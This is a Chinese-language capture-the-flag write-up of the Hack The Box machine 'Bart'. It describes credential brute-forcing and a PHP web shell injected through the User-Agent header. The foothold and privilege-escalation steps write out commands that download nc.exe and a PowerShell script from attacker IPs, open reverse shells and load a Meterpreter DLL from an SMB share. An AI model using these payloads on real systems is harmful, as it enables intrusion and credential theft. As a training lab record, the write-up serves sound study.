Bart Writeup

概述 (Overview)

550

HOST: 10.10.10.81

OS: Windows

发布时间: 2018-2-28

完成时间: 2021-10-27

机器作者: mrh4sh

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #PowerShell #Fuzzing #ArbitraryFileWrite #SourceCodeReview #横向渗透

攻击链 (Kiillchain)

使用 Nmap 枚举目标服务器开放端口时发现仅存在80端口,使用子域名枚举发现存在 monitor.bart.htb 子站,对 forum.bart.htb 的信息进行收集构建枚举字典,通过字典碰撞成功登陆系统后台并找到新的 internal-01.bart.htb 站点。

测试 internal-01 站点功能,利用任意账号注册成功进入系统,通过查看页面源代码发现函数执行漏洞,并利用该漏洞拿到目标服务器的立足点。

在对服务器信息收集时发现 Administrator 用户注册表凭证,最终结合 PowerShell 完成权限提升。

枚举(Enumeration)

常规使用 Nmap 对目标服务器进行开放端口扫描:

PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-favicon: Unknown favicon MD5: 50465238F8A85D0732CBCC8EB04920AA | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Did not follow redirect to http://forum.bart.htb/ Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

从扫描结果中可以得知,目标服务器是 Windows 系统仅对外暴漏了一个 80 端口(HTTP 服务),看来后面的突破口就是Web应用了。

Port 80 - WordPress

简单的请求 HTTP 服务,返回 302 页面重定向至 forum.bart.htb 域名,并且可以看到 php 7.17 的版本指纹。

http 10.10.10.81 HTTP/1.1 302 Found Content-Length: 0 Content-Type: text/html; charset=UTF-8 Date: Tue, 26 Oct 2021 13:07:15 GMT Location: http://forum.bart.htb/ Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.1.7

浏览器访问绑定的域名后,可以看到 Web 应用的指纹信息是 Proudly powered by WordPress。随后请求了 /wp-admin 路径,验证下是否真实发现存在服务错误。

1893d3344395699e5b99cb53823ad3d9.png

怀疑目录枚举可能不会有收获,改为使用 gobuster 工具的 vhost 功能枚举子域名:

c7d2f911df3dc3c20d12471e9faf96f9.png

成功枚举出一个新的域名 monitor.bart.htb,访问后发现新的 Web 应用 Monitor v3.2.1

Port 80 - Monitor

PHP Server Monitor : 用于监控您的服务器和网站的开源工具。https://github.com/phpservermon/phpservermon

e2be28aaa5812cbe75109bfa906f63e2.png

至此并不知道该系统的登录口令,对两个站点分别进行目录枚举后都没有取得什么进展,怀疑是存在弱口令登录或者密码复用、枚举等。观察到在 forum.bart.htb 网站上存在多个邮箱地址, 这些可能是用于登录用户的名称,可以通过 bash 语句将这类信息爬取下来。

观察页面上的显示内容,可以得到更多信息帮助我们进行梳理。

9ebe09477391481a2fea82e624127914.png

Mail Name Remark
d.Lamborghini@bart.htb Daniella Lamborghini
s.brown@bart.local Samantha Brown CEO@BART
d.simmons@bart.htb Daniel Simmons Head of Sales
r.hilton@bart.htb Robert Hilton Head of IT
h.potter@bart.htb Harvey Potter Developer@BART

构造好基于邮箱、名称的 Fuzz 字典后,通过 monitor.bart.htb 站点下的找回密码功能验证用户是否存在。

54d6784167f5d26e860683be98e75219.png

枚举后发现 harvey 用户是存在的,继续对密码进行枚举:

f299fc1e7502ef62dc56f2766a5924c3.png

很快得到了该用户的密码为potter,使用这组密码成功登录管理后台。

81e0fbae9bb07de3f9212a96964bf8b0.png

对后台的功能进行了简单预览,得到一个新的站点地址 internal-01.bart.htb

d54240c5727853a08f926c48f50b1f40.png

Port 80 - internal

浏览器访问后自动跳转到登录页,看来又要进行口令枚举了。

79047810.png|550

利用 cewl 工具生成 password 字典,在用 hydra 工具进行登录表单枚举:

hydra -l harvey -P `pwd`/cewl-forum.txt internal-01.bart.htb http-post-form "/simple_chat/login.php:uname=^USER^&passwd=^PASS^&submit=Login:F=Invalid Username or Password"

在登录表单枚举的同时对目录进行枚举,发现 /register.php 页面的访问会跳转至 /register_form.php,浏览器访问页面提示功能错误。

8582f8ab86b926d5670fdff7317bf494.png

从页面的 title 得知这是一个 dev 状态的网站,那么有没有可能注册功能已经开发好了?这种在开发、测试类站点中还挺常见的,尝试 POST 提交注册信息:

8b2c1e094a59b7905b9bba5be85e6864.png

返回的内容与 GET 跳转存在差异,Location 重定向至首页并增加了会话 Cookie,说明存在任意用户注册漏洞。

登陆后会进入一个聊天界面:

9a42259a756e85d0665852dabe734833.png

立足点(Foothold)

查看页面源代码,可以看到一段可疑的 URL,随后进行尝试任意文件读取、加载的漏洞。

2588d8cd7c7891df0728b2decb00c4e3.png

直接访问这个 URL 会得到一个字符串返回,当尝试改变 filename 参数后会提示 file_put_contents 函数错误,并且在返回的信息中会看到追加了一些访问日志记录。

c6500ea549138d0902aa1a71415128d5.png

推测调用该脚本会执行文件写入,每访问一次该 URL 将增加一段内容:

d57f84abed063acf46513c9bb2d37feb.png

观察到会记录用户的 UserAgent 信息,假设PHP脚本存在加载外部 UserAgent 参数,那么将会引发PHP函数执行漏洞进一步造成RCE。

测试下,增加 phpinfo 函数至 UserAgent 验证是否存在函数执行:

515edb4fa5a67d0110b652e8e1ca35cd.png

成功执行了外部可控的 PHP 函数,进行下一个步骤。避免数据污染我重启了一次 Box,随后将 WebShell 写入至脚本:

http 'http://internal-01.bart.htb/log/log.php?filename=log.php&username=harvey' User-Agent:'<?php echo system($_POST["cmd"]); ?>'

4415fcde2546f38e0cda3283ef9b4aff.png

最后通过 WebShell 运行系统命令,将 NC 传递至目标服务器,用它成功反弹完整会话shell。

certutil -urlcache -f http://10.10.17.64/nc.exe nc.exe

dbaf0792ec9881bceaf045682e029c63.png

权限提升(Privilege Escalation)

开始进一步收集信息,在 Web 站点目录中可以得到 Mysql 数据库连接凭证:

$con = @mysqli_connect('localhost', 'harvey', '!IC4nB3Th3B3st?', 'internal_chat');

随后使用该凭证进行命令行下的 Mysql 查询,能在 user 表中得到多个用户hash,但都解不了明文。 在 \monitor\config.php 文件中同样找到一组新的凭证。

<?php define('PSM_DB_HOST', 'localhost'); define('PSM_DB_PORT', '3306'); define('PSM_DB_NAME', 'sysmon'); define('PSM_DB_USER', 'daniel'); define('PSM_DB_PASS', '?St4r1ng1sCr33py?'); define('PSM_DB_PREFIX', '_'); define('PSM_BASE_URL', 'http://monitor.bart.htb');

目前看来这些凭证对于提权都没什么帮助,将 Seatbelt 传递至服务器进行安全检查:

cmd> Seatbelt.exe all ...snip... === Registry Auto-logon Settings === DefaultDomainName : DESKTOP-7I3S68E DefaultUserName : Administrator DefaultPassword : 3130438f31186fbaf962f407711faddb

从结果中得到当前机器的 Administrator 用户自动登录凭证,查询注册表的语句为:

REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword /reg:64

接下来就比较简单了,只需要使用 PowerShell 以 Administrator 用户执行命令进行反弹 shell 就可以完成提权了。

PS > $DefaultUsername = "BART\Administrator" PS > $DefaultPassword = "3130438f31186fbaf962f407711faddb" PS > $secstr = New-Object -TypeName System.Security.SecureString PS > $DefaultPassword.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)} PS > $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $DefaultUsername, $secstr PS > Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.17.64/shell.ps1') } -Credential $cred -Computer localhost

成功完成权限提升。

eb1ac4ceb9bed1597a7b2b3dadf617d1.png

复盘

在查看 0xdf 的文章时,看到它使用了 SMB 文件夹挂载方法,快速获得 root flag 内容。 不得不说真的牛批,基础知识真的牢固,在我还在死磕 PowerShell 反弹 shell 的时候人家就已经拿到 flag 了。

net use x: \\localhost\c$ /user:administrator 3130438f31186fbaf962f407711faddb

在进行权限提升时,我使用的是运行外部 Reverse Shell 脚本进行上线,而 0xdf 使用 Enter-PSSession 直接在当前 shell 窗口中启动交互式会话。

C:\Users\Public>powershell Windows PowerShell Copyright (C) 2016 Microsoft Corporation. All rights reserved. PS C:\Users\Public> $username = 'BART\Administrator' PS C:\Users\Public> $securePassword = ConvertTo-SecureString -AsPlainText -Force '3130438f31186fbaf962f407711faddb' PS C:\Users\Public> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword PS C:\Users\Public> Enter-PSSession -ComputerName localhost -Credential $credential [localhost]: PS C:\Users\Administrator\Documents> whoami whoami bart\administrator [localhost]: PS C:\Users\Administrator\Documents> cmd.exe /c "rundll32.exe \\10.10.14.20\BLAH\64443.dll,0" cmd.exe /c "rundll32.exe \\10.10.14.20\BLAH\64443.dll,0" [*] Sending stage (206403 bytes) to 10.10.10.81 [*] Meterpreter session 7 opened (10.10.14.20:4444 -> 10.10.10.81:55494) at 2019-07-22 21:43:56 -0400

在服务器上执行远程脚本的时候一般可以使用Invoke-Command,但是如果连续执行脚本,并且想在执行过程中保持上下文信息,也就是说交互式的执行远程命令,就得用到另外一个命令 Enter-PSSession。

又学到一个新姿势,Nice。

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。